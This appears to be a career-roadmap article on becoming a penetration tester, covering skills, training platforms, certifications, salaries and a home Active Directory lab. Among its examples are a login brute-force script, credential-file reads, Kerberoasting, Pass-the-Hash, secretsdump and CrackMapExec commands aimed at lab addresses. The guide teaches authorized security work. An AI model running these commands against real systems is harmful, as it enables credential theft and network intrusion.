How to Become an Ethical Hacker: The Complete Roadmap

The global cybersecurity workforce gap sits at approximately 4 million unfilled positions as of 2025. Penetration testing specifically is among the most undersupplied roles — companies can't find people with the hands-on skills. Job listings sit open for months. The supply/demand dynamics are brutal in your favor if you can actually do the work.

The problem is that most people trying to break into the field do it wrong. They stack certifications without building skills. They watch YouTube tutorials without practicing. They skip foundational networking and operating system concepts and then wonder why they can't follow along in a real engagement. Six months later they've spent $5,000 on courses and certifications and can't enumerate a basic Active Directory environment.

This guide is the roadmap that actually works. It's built around building skills in the correct order, validated against real job requirements and the experiences of people who've made the transition.

What Ethical Hacking Actually Involves

Ethical hacking — the professional term is penetration testing or red teaming — is the authorized simulation of attacks against computer systems, networks, or applications to identify vulnerabilities before malicious actors do.

The legal distinction from criminal hacking is a written contract. A penetration tester operates under a Statement of Work or Rules of Engagement document that defines: which systems can be tested, what attack techniques are permitted, what the deliverable is, and the timeline. Outside those boundaries, the activity is criminal regardless of intent. The authorization is everything.

Day-to-Day Reality

Web application pentesting: You receive scope (a set of URLs or wildcard domains), enumerate the attack surface, identify vulnerabilities (injection flaws, broken access control, authentication bypasses, business logic issues), exploit them to demonstrate impact, and write a professional report. The report is delivered to the client's development team and security leadership. The technical work and the writing are equally important.

Infrastructure/network pentesting: You receive an IP range or a set of credentials for a "assume breach" internal assessment. You scan, identify running services, look for known vulnerabilities, exploit misconfigurations, demonstrate lateral movement through the network, and attempt to reach defined objectives (domain controller, specific databases, sensitive file shares).

Active Directory assessments: A significant portion of enterprise pentesting involves attacking Windows domain environments. This means Kerberoasting, Pass-the-Hash, AS-REP Roasting, BloodHound enumeration, abusing LAPS misconfigurations, delegation attacks, and ultimately Domain Compromise. AD security is a specialty within the specialty.

Red teaming: Full adversarial simulation against an organization's people (phishing), processes (security monitoring), and technology (network and endpoint controls). Red team operations run for weeks or months, use real-world attacker tradecraft, and test whether the security team can detect and respond to a sophisticated intrusion. This is senior-level work requiring 5+ years of experience.

What the job is not: Sitting at a terminal watching code run. Hacking into random systems. Producing a Nessus scan report and calling it a pentest. Real penetration testing is intellectually demanding, requires significant preparation for each engagement, and demands strong communication skills — you're explaining technical vulnerabilities to both technical and executive audiences.

The Technical Foundation: What You Actually Need

Networking — Non-Negotiable

You cannot attack what you don't understand. Networking is the substrate everything else runs on. Without it, you can run tools but you can't understand or troubleshoot what they're doing.

Topics you must know well:

• TCP/IP model — how packets are assembled, routed, and delivered
• The three-way handshake — SYN, SYN-ACK, ACK — and what deviations from it indicate
• UDP vs TCP — when each is used, what services run on which
• DNS — recursive resolution, DNS zones, zone transfers, how subdomain enumeration works
• HTTP/1.1 and HTTP/2 — request structure, headers, cookies, the request-response cycle, TLS handshake
• SMB, FTP, SSH, SMTP, LDAP — what they do, how they're configured, common misconfigurations
• Subnetting and CIDR notation — understanding that 192.168.1.0/24 represents 254 usable hosts is basic; being able to subnet on paper matters for understanding network architecture
• NAT, VLANs, firewalls — how network segmentation is implemented and why it matters for lateral movement

How to build it: Cisco's free CCNA learning materials, Professor Messer's CompTIA Network+ course (free on YouTube), and critically — Wireshark. Capture traffic on your home network. Understand what a DNS query looks like, what a TCP handshake looks like, what TLS negotiation looks like. Seeing protocols in packet form is worth more than reading about them.

# Capture and analyze traffic in Wireshark
# Or with tshark from the command line:
 
# Capture all traffic on eth0
tshark -i eth0 -w capture.pcap
 
# Analyze DNS queries in a capture
tshark -r capture.pcap -Y "dns" -T fields -e dns.qry.name
 
# Analyze HTTP traffic
tshark -r capture.pcap -Y "http" -T fields -e http.request.method -e http.request.uri
 
# Filter for a specific IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.100"
 
# Follow a TCP stream (reassemble the conversation)
tshark -r capture.pcap -q -z follow,tcp,ascii,0

Linux Command Line — Intermediate to Advanced

Kali Linux is the standard pentesting distribution. It runs on Linux. Every tool you'll use runs on Linux or has a Linux version. Being uncomfortable at the terminal means being slow, frustrated, and ineffective.

You need to reach the level where you never have to think about basic operations — file navigation, permissions, process management, networking commands, text processing. They should be reflex.

# Core competencies to develop:
 
# File operations
ls -la /var/log/        # list with permissions, hidden files
find / -name "*.conf" -readable 2>/dev/null  # find readable config files
chmod 755 script.sh     # set file permissions
chown root:root file    # change ownership
 
# Network
ip addr show            # network interfaces and IPs
ss -tulnp               # open sockets (replaces netstat)
nmap -sV -sC localhost  # scan your own machine to learn output format
curl -v https://example.com  # HTTP request with verbose output
wget -q https://example.com/file  # download file
 
# Text processing (critical for parsing tool output)
cat /etc/passwd | cut -d: -f1  # extract usernames
grep -r "password" /var/log/ 2>/dev/null  # search files recursively
cat hosts.txt | sort -u  # sort and deduplicate
cat nmap_output.txt | awk '/open/{print $1}'  # extract open ports
 
# Process management
ps aux | grep python  # find python processes
kill -9 PID           # force kill a process
./exploit.py &        # run in background
nohup ./scan.sh > output.log 2>&1 &  # run disconnected from terminal

Setup your learning environment:

# Install VirtualBox and create a Kali Linux VM
# Download Kali Linux from kali.org (official pre-built VMs available)
# Allocate: 4GB RAM minimum, 8GB recommended; 60GB disk; 2 CPU cores
 
# Or use WSL2 on Windows for a lighter setup:
wsl --install -d kali-linux
 
# Install essential tools
sudo apt update && sudo apt install -y \
  nmap nikto gobuster ffuf sqlmap \
  python3-pip git curl wget john hashcat \
  burpsuite wireshark netcat-openbsd \
  metasploit-framework

Python — The Exploitation Language

You don't need to be a software engineer. You need to be able to read Python code, understand what it does, modify it to fit your target, and write simple scripts to automate tasks.

Specifically:

• Understanding function calls, loops, conditionals, and list/dict operations
• Reading network socket code — many exploits open raw TCP connections
• Making HTTP requests with the requests library
• Parsing JSON and XML responses
• Writing a script that loops through a wordlist and makes requests
• Modifying a public PoC exploit to fix a hardcoded IP or add error handling

# Example: simple brute-force HTTP login (educational - use only on authorized targets)
import requests
import sys
 
TARGET = "http://vulnerable-target.local/login"
USERNAME = "admin"
WORDLIST = "/usr/share/wordlists/rockyou.txt"
 
session = requests.Session()
 
with open(WORDLIST, 'r', encoding='latin-1') as f:
    for password in f:
        password = password.strip()
        response = session.post(TARGET, data={
            'username': USERNAME,
            'password': password,
        }, timeout=5)
 
        if 'Invalid credentials' not in response.text and response.status_code == 200:
            print(f"[+] Found password: {password}")
            sys.exit(0)
        else:
            print(f"[-] Trying: {password}", end='\r')
 
print("\n[-] Password not found in wordlist")

# Example: port scanner using raw sockets
import socket
import sys
import concurrent.futures
 
def scan_port(host: str, port: int) -> tuple[int, bool]:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(0.5)
    result = sock.connect_ex((host, port))
    sock.close()
    return port, result == 0
 
def scan_host(host: str, port_range: range):
    open_ports = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
        futures = {executor.submit(scan_port, host, port): port for port in port_range}
        for future in concurrent.futures.as_completed(futures):
            port, is_open = future.result()
            if is_open:
                open_ports.append(port)
                print(f"[+] {host}:{port} OPEN")
    return sorted(open_ports)
 
if __name__ == '__main__':
    target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
    scan_host(target, range(1, 10001))

PowerShell — For Windows Environments

Enterprise environments are overwhelmingly Windows-based. Active Directory, Windows Server, Windows workstations. PowerShell is the dominant scripting language in Windows environments and the primary tool for living-off-the-land techniques.

# Basic AD enumeration (run on a domain-joined Windows machine)
 
# Get all users in the domain
Get-ADUser -Filter * -Properties * | Select-Object Name, Enabled, LastLogonDate, PasswordLastSet
 
# Get members of the Domain Admins group
Get-ADGroupMember -Identity "Domain Admins" -Recursive
 
# Find computers with unconstrained delegation (Kerberoasting prerequisite)
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
 
# Enumerate SPNs for Kerberoasting
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
 
# Port scan using only built-in PowerShell (no tools)
1..1024 | ForEach-Object {
    $tcp = [System.Net.Sockets.TcpClient]::new()
    $result = $tcp.BeginConnect('192.168.1.1', $_, $null, $null)
    if ($result.AsyncWaitHandle.WaitOne(100)) {
        Write-Host "Port $_ is open"
    }
    $tcp.Close()
}

The Learning Platforms

TryHackMe — Start Here

TryHackMe is the correct starting point for beginners. It's browser-based (no local VM setup required initially), guided, and structured from beginner to advanced. The "Jr Penetration Tester" learning path is specifically designed as a curriculum to get someone job-ready in web and network pentesting fundamentals.

Recommended TryHackMe paths in order:

1. Pre-Security — networking, web fundamentals, Linux basics
2. Jr Penetration Tester — web pentesting, Metasploit, privilege escalation, Active Directory basics
3. Red Teaming — phishing, C2 frameworks, host evasion

Complete rooms, not just subscribe. The rooms that require you to actually exploit the machine are the learning. Watching the videos without doing the lab is watching someone else learn.

Hack The Box — The Real Test

HTB is where you find out if you've actually internalized the concepts. The machines are significantly less guided than TryHackMe. You get a target IP and have to figure out the rest.

Starting methodology:

# Standard initial enumeration on any HTB machine
# 1. Nmap scan
nmap -sC -sV -oA initial_scan -p- --min-rate 5000 TARGET_IP
 
# -sC: default scripts (version detection, basic vuln checks)
# -sV: version detection
# -oA: save in all formats
# -p-: all 65535 ports
# --min-rate 5000: faster scan (acceptable on CTF environments)
 
# 2. Web enumeration (if HTTP found)
gobuster dir -u http://TARGET_IP -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 40
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -u http://TARGET_IP/FUZZ -mc 200,301,302,403 -t 40
 
# 3. Service enumeration
# SMB
smbclient -L //TARGET_IP -N
enum4linux-ng TARGET_IP
 
# FTP (check anonymous login)
ftp TARGET_IP  # try anonymous / anonymous
 
# SMTP
nc TARGET_IP 25
VRFY admin  # check if user enumeration is possible

Work through retired Easy machines on HTB. The official writeups aren't available, but community writeups (IppSec's YouTube channel is the gold standard) are posted after machines retire. Watch the writeup only after you've spent at least 3 hours trying to solve it yourself. The struggle is the learning.

PortSwigger Web Security Academy

For web application testing specifically, the PortSwigger Web Security Academy is the definitive free resource. It covers every major web vulnerability class with labs you can complete in-browser, from beginner to advanced.

The learning path that maps directly to bug bounty and web pentest work:

1. SQL Injection (all labs)
2. Authentication (all labs) — especially password reset flaws and MFA bypass
3. XSS (all labs) — reflected, stored, DOM-based
4. CSRF
5. Clickjacking
6. Path Traversal
7. Command Injection
8. Business Logic Vulnerabilities
9. Access Control (IDOR and privilege escalation)
10. SSRF
11. XXE Injection
12. OAuth Authentication

Complete the "Professional Labs" (the hardest difficulty) before claiming you're web application pentest ready.

VulnHub and Other Practice Environments

# Other intentionally vulnerable systems for practice:
 
# DVWA (Damn Vulnerable Web Application) — beginner web app testing
docker run --rm -it -p 80:80 vulnerables/web-dvwa
 
# Metasploitable 2/3 — intentionally vulnerable Linux VM
# Download from SourceForge, run in VirtualBox
 
# OWASP WebGoat — guided web vulnerability training
docker run -p 8080:8080 webgoat/goatandwolf:latest
 
# Vulhub — thousands of vulnerable Docker environments for specific CVEs
git clone https://github.com/vulhub/vulhub
cd vulhub/struts2/s2-052
docker-compose up -d
# Now test CVE-2017-9805 against a real vulnerable Struts2 instance

Certifications: What Actually Matters

The certification landscape is full of expensive, multiple-choice-heavy credentials that look impressive on paper but prove nothing about hands-on ability. Technical hiring managers at serious security firms know the difference.

The Ones That Matter

OSCP (Offensive Security Certified Professional) — the industry benchmark. The exam is 24 hours: you receive access to an isolated lab network containing machines you must compromise. You earn points for each machine you pwn, and you must earn 70 points to pass. There is no multiple-choice component. The exam is pass/fail based entirely on demonstrated exploitation skill. The accompanying PWK (Penetration Testing with Kali Linux) course is comprehensive and the lab environment is realistic.

Cost (as of 2025): approximately $1,499 for the exam + 90 days of lab access. Preparation time: 3-6 months of dedicated practice after reaching HTB/THM intermediate level.

OSCP is the single certification that most reliably opens doors at reputable security consulting firms. It signals that you can actually hack things, not just pass multiple-choice tests.

PNPT (Practical Network Penetration Tester) — TCM Security's practical certification. Less prestigious than OSCP but more accessible, cheaper ($400), and practically focused. The exam is a 5-day black-box network assessment followed by a professional report. Strong preparation for OSCP.

eJPT (eLearnSecurity Junior Penetration Tester) — a good entry-level practical credential. $200, requires demonstrating actual assessment skills in a simulated environment. Worth getting before OSCP as a confidence check.

BSCP (Burp Suite Certified Practitioner) — PortSwigger's web application pentesting certification. Requires passing two lab-based web security challenges. Highly relevant for web app pentesting specialists. $99.

Certifications With Limited Value for Security Firms

CEH (Certified Ethical Hacker) — primarily multiple-choice. EC-Council markets it aggressively. It proves you can memorize definitions, not that you can pentest. Many government and enterprise job listings require it for compliance reasons, not because it proves skill. If a job you want lists it as a requirement, get it. Otherwise, spend the money and time on OSCP prep.

CompTIA Security+ — entry-level, required for many government and DoD contractor positions (it satisfies DoD 8570 requirements). Low technical bar but a mandatory checkbox for certain hiring contexts. If you're targeting government/defense work, get it. For commercial security firms, it's not what they're looking at.

CompTIA PenTest+ — better than Security+ for hands-on orientation, but still not as respected as OSCP or PNPT in commercial security.

Certification Cost Comparison

| Certification | Cost (2025) | Exam Format | Industry Respect | Best For | |---|---|---|---|---| | OSCP | ~$1,499 | 24-hr practical | Very High | Commercial pentest firms | | PNPT | ~$400 | 5-day practical | High | Beginners, OSCP prep | | BSCP | ~$99 | Lab practical | High (web) | Web app specialists | | eJPT | ~$200 | Lab practical | Medium | Entry-level | | OSEP | ~$1,499 | 48-hr practical | Very High | Red team/evasion | | CEH | ~$1,000+ | Multiple choice | Low-Medium | Government compliance only | | Security+ | ~$370 | Multiple choice | Low-Medium | DoD/government work |

Active Directory Attack Techniques

AD is the backbone of most enterprise environments and the primary target in network pentesting. Learn these before applying to most pentesting positions.

# BloodHound — graph-based AD attack path finder
# Run the collector on a domain-joined machine:
./SharpHound.exe -c All --zipfilename bloodhound_data.zip
 
# Or from Linux with a low-privilege domain account:
bloodhound-python -u user -p password -ns 192.168.1.10 -d domain.local -c All
 
# Import collected data into BloodHound GUI
# Look for: shortest path to Domain Admins, Kerberoastable accounts, unconstrained delegation
 
# Kerberoasting — request service tickets for accounts with SPNs, crack them offline
GetUserSPNs.py domain.local/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast_hashes.txt
 
# Crack the tickets:
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
 
# AS-REP Roasting — for accounts with pre-auth disabled
GetNPUsers.py domain.local/ -usersfile userlist.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force
 
# Pass-the-Hash — authenticate using NTLM hash instead of password
# (requires obtaining the hash first via Mimikatz or secretsdump)
evil-winrm -i 192.168.1.10 -u Administrator -H "NTLM_HASH_HERE"
 
# secretsdump — extract credentials from domain controller
secretsdump.py domain.local/Administrator:password@192.168.1.10
 
# CrackMapExec — network authentication testing and lateral movement
crackmapexec smb 192.168.1.0/24 -u administrator -H "NTLM_HASH"
crackmapexec smb 192.168.1.0/24 -u administrator -p password --shares

Building a Home Lab

Practical skills require practice environments. Setting up a home lab removes your dependence on external platforms and lets you experiment with techniques that are too intrusive for cloud-based labs.

# Minimum home lab setup:
# - Hypervisor: VMware Workstation Pro (free tier available) or VirtualBox (free)
# - Attacking machine: Kali Linux
# - Target Windows: Windows Server 2019/2022 evaluation (free from Microsoft)
# - Target Linux: Metasploitable 3 (intentionally vulnerable)
# - Network: Host-only network adapter in the hypervisor
 
# Hardware requirements:
# - 16GB RAM minimum (8GB for host, 4GB each for two VMs simultaneously)
# - 200GB free disk space
# - CPU with virtualization support (Intel VT-x or AMD-V)
 
# Set up an Active Directory lab:
# 1. Install Windows Server 2022 VM (download evaluation ISO from Microsoft)
# 2. Install Active Directory Domain Services role
# 3. Promote to domain controller
# 4. Add 2-3 Windows 10/11 evaluation VMs as domain-joined workstations
# 5. Create vulnerable users: disable Kerberos pre-auth for some accounts,
#    assign SPNs to service accounts, add admin accounts with common passwords
# 6. Install BloodHound on the Kali VM, run SharpHound on the DC
# 7. Practice the entire AD attack path: initial compromise → BloodHound → Kerberoast → lateral movement → DC compromise

# Quick AD lab setup script (run on Windows Server after promoting to DC)
# Creates intentionally vulnerable users for practice
 
# Create a user vulnerable to AS-REP Roasting
New-ADUser -Name "ServiceAccount" -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity "ServiceAccount" -DoesNotRequirePreAuth $true
 
# Create a user with an SPN (Kerberoasting target)
New-ADUser -Name "SQLService" -AccountPassword (ConvertTo-SecureString "MysecretPassw0rd" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity "SQLService" -ServicePrincipalNames @{Add="MSSQLSvc/SQL01.domain.local:1433"}
 
# Create a domain admin with a weak password (never do this in production)
New-ADUser -Name "BackupAdmin" -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "BackupAdmin"

Salary Reality: 2026 Market

These ranges are from actual job postings and industry salary surveys as of early 2026:

Junior Penetration Tester (0-2 years)

• Security consulting boutiques: $65,000 - $85,000
• Big 4 advisory (cybersecurity practice): $75,000 - $95,000
• In-house security teams at tech companies: $90,000 - $115,000
• Government/defense contractors with clearance: $85,000 - $110,000

Mid-level (2-5 years, OSCP required by most listings)

• $95,000 - $145,000 depending on specialization and geography
• Remote roles from smaller firms: $90,000 - $130,000

Senior/Lead Pentester (5+ years)

• $130,000 - $185,000 employed
• Independent consulting: $150-$350/hour (requires client acquisition skills)

Specialization premiums (above base senior rates):

• Red team operator: $15,000-$30,000 premium
• Cloud security (AWS/Azure/GCP pentesting): $20,000-$40,000 premium
• ICS/SCADA/OT security: $20,000-$45,000 premium
• Hardware/embedded systems: $20,000-$50,000 premium

Remote work is near-universal in this field. Many firms are fully remote. This expands the talent market nationally rather than locally, which benefits candidates willing to compete on skill rather than geography.

The Mistakes That Kill Careers Before They Start

Getting OSCP (or any certification) before building foundational skills. The PWK course is tough. Going into it without solid networking, Linux, and scripting skills results in failure, discouragement, and wasted money. OSCP prep should begin after completing HTB Easy machines consistently and TryHackMe's Jr Pentester path.

Certification stacking as a substitute for skill. A resume with OSCP, CEH, Security+, PNPT, CompTIA CySA+, and zero labs completed will lose to a resume with just OSCP and a GitHub profile showing active CTF participation. Hiring managers at quality firms test candidates. The certifications get you through HR screening; the interview reveals whether you can actually do the work.

Skipping report writing practice. The deliverable in commercial pentesting is the report. If you can't communicate your findings clearly, in writing, to both technical and executive audiences, you cannot do the job. Write reports for every machine you compromise in your lab. Treat them like real client deliverables.

Not building a portfolio. CTF writeups published on a personal blog, HTB/THM profile links, a GitHub with custom scripts or automation tools, bug bounty acknowledgments — these differentiate candidates. A hiring manager scrolling through your GitHub profile tells them more than a 60-minute interview.

Testing without understanding. Running Metasploit against a machine and getting a shell teaches you that Metasploit works. It doesn't teach you why the exploit works, what vulnerability it's exploiting, or what you'd do if the exploit didn't work. When you successfully exploit something, stop and understand the mechanism before moving on.

Where to Start Right Now

If you're starting from zero, execute this in order — no shortcuts:

Week 1: Create TryHackMe account. Start the "Pre-Security" path. Complete every room. Set up VirtualBox and a Kali Linux VM this week.

Week 2-4: Complete TryHackMe "Jr Penetration Tester" path. Take notes on every vulnerability class covered. Set up DVWA locally and test each vulnerability type against a real-but-safe target.

Month 2-3: Create a Hack The Box account. Start with Starting Point machines. Move to Easy retired machines. Watch IppSec's walkthroughs only after spending 3+ hours on each machine yourself. Complete PortSwigger Web Security Academy SQL injection and XSS modules.

Month 3-6: Build your home AD lab. Practice the AD attack path from BloodHound through Domain Compromise. Obtain eJPT. Continue HTB, targeting Medium machines.

Month 6-12: Prepare for OSCP. Purchase the PWK course. Complete all course material and lab exercises. Build your exam-day methodology. Attempt OSCP.

Month 12+: Apply to junior pentesting positions with OSCP in hand and a body of work (HTB/THM profiles, CTF writeups, bug bounty acknowledgments). Be prepared to demonstrate skills in technical interviews.

The path is 12-18 months of focused work before you're employable at entry level. That's the realistic timeline. Anyone selling you a faster path is selling you something that doesn't produce the actual skills the job requires.

The people who successfully make this transition are disciplined, patient, and relentlessly practical. They spend more time doing than watching. They track their progress and fill gaps methodically. They treat it like training for a professional sport, not like watching educational content.

Start now. Don't wait until you feel ready — you never will.